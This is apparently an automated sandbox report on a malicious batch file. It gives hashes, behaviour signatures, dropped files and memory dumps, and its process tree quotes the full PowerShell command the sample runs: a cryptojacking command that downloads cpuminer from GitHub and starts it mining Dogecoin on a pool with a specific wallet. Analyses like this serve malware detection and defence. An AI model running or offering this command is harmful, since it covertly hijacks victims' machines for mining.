b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

General

Target

73u3Ito.bat
Size

499B
MD5

fe74bff27516829a88cfbc6f6e99646f
SHA1

0c15d859211c79910b277d07e729bec7197a60cd
SHA256

b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
SHA512

a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	212	powershell.exe
4	212	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4908	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe
4908	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
212	powershell.exe
212	powershell.exe
212	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	212	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3820 wrote to memory of 212	3820	cmd.exe	73
PID 3820 wrote to memory of 212	3820	cmd.exe	73
PID 212 wrote to memory of 2620	212	powershell.exe	74
PID 212 wrote to memory of 2620	212	powershell.exe	74
PID 2620 wrote to memory of 4908	2620	cmd.exe	76
PID 2620 wrote to memory of 4908	2620	cmd.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4908

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qhiamdru.nc4.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
499KB

MD5
96fd4c2e44809ddeddd2e2e7aa8c8aee

SHA1
6f22ab0f0e9d272acd65e127a1cae26f8c9d1c78

SHA256
427c26a9342f29abeb37a6e46f04b37f14c1f4dbd9b1d7a28f98754634736f88

SHA512
d0234451e89de4c3b5537d7a3474b0a98de5c3bc7e03a89b8d18e02d05eb76e3c6334421ce14adab9db50b7ca2bbb928dce084b3f1ff463331130a09b206772e

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
854KB

MD5
f687579a0b65082eab44acc11e92f184

SHA1
bbae48ca40eedd9236e7fa7e8127ca4f347de875

SHA256
225bce0a1b543af4e027e530c0818fc38834fa5ff689c7364e338643184f4e9d

SHA512
e381af6ff943a927cef034cfa43e40bd1c50aa80eac7e3c33def0ee74c0821e4ae0e3a0e1985f4339c54f3bbaa204ca23a9dcf9809c38bbbeb1dd714967c0075

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
27.2MB

MD5
19fcc327c7f9eaf6a1fae47c9864fda7

SHA1
90a9ca4f4eb5bc76424b6bec0acd3df0a53b8f8c

SHA256
baef1f4cabebdadc52213761b4c8e2bf381976a67bd7c490f952c38f6831b036

SHA512
76d129db3006de88b851100f559fac00796f150fd6290d8f1df9f01df5bc733ebf4f4b087580d3ec81c901002d155e522954a9c1a9919cc9ca87198974a77a3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/212-28-0x0000024148670000-0x0000024148680000-memory.dmp

Filesize
64KB

Download
memory/212-13-0x0000024161090000-0x0000024161106000-memory.dmp

Filesize
472KB

Download
memory/212-4-0x0000024160CE0000-0x0000024160D66000-memory.dmp

Filesize
536KB

Download
memory/212-31-0x0000024148740000-0x0000024148756000-memory.dmp

Filesize
88KB

Download
memory/212-33-0x00007FF8A0980000-0x00007FF8A136C000-memory.dmp

Filesize
9.9MB

Download
memory/212-34-0x0000024148670000-0x0000024148680000-memory.dmp

Filesize
64KB

Download
memory/212-54-0x0000024160C90000-0x0000024160CA2000-memory.dmp

Filesize
72KB

Download
memory/212-67-0x0000024148700000-0x000002414870A000-memory.dmp

Filesize
40KB

Download
memory/212-110-0x00007FF8A0980000-0x00007FF8A136C000-memory.dmp

Filesize
9.9MB

Download
memory/212-8-0x0000024160F80000-0x0000024161084000-memory.dmp

Filesize
1.0MB

Download
memory/212-10-0x0000024148670000-0x0000024148680000-memory.dmp

Filesize
64KB

Download
memory/212-9-0x0000024148670000-0x0000024148680000-memory.dmp

Filesize
64KB

Download
memory/212-7-0x00007FF8A0980000-0x00007FF8A136C000-memory.dmp

Filesize
9.9MB

Download
memory/212-6-0x00000241486B0000-0x00000241486D2000-memory.dmp

Filesize
136KB

Download
memory/212-5-0x0000024148650000-0x0000024148660000-memory.dmp

Filesize
64KB

Download
memory/4908-125-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4908-126-0x0000000050040000-0x00000000500D8000-memory.dmp

Filesize
608KB

Download
memory/4908-124-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4908-123-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-127-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/4908-128-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-138-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-148-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-153-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-158-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-168-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-173-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-178-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4908-183-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download

Analysis

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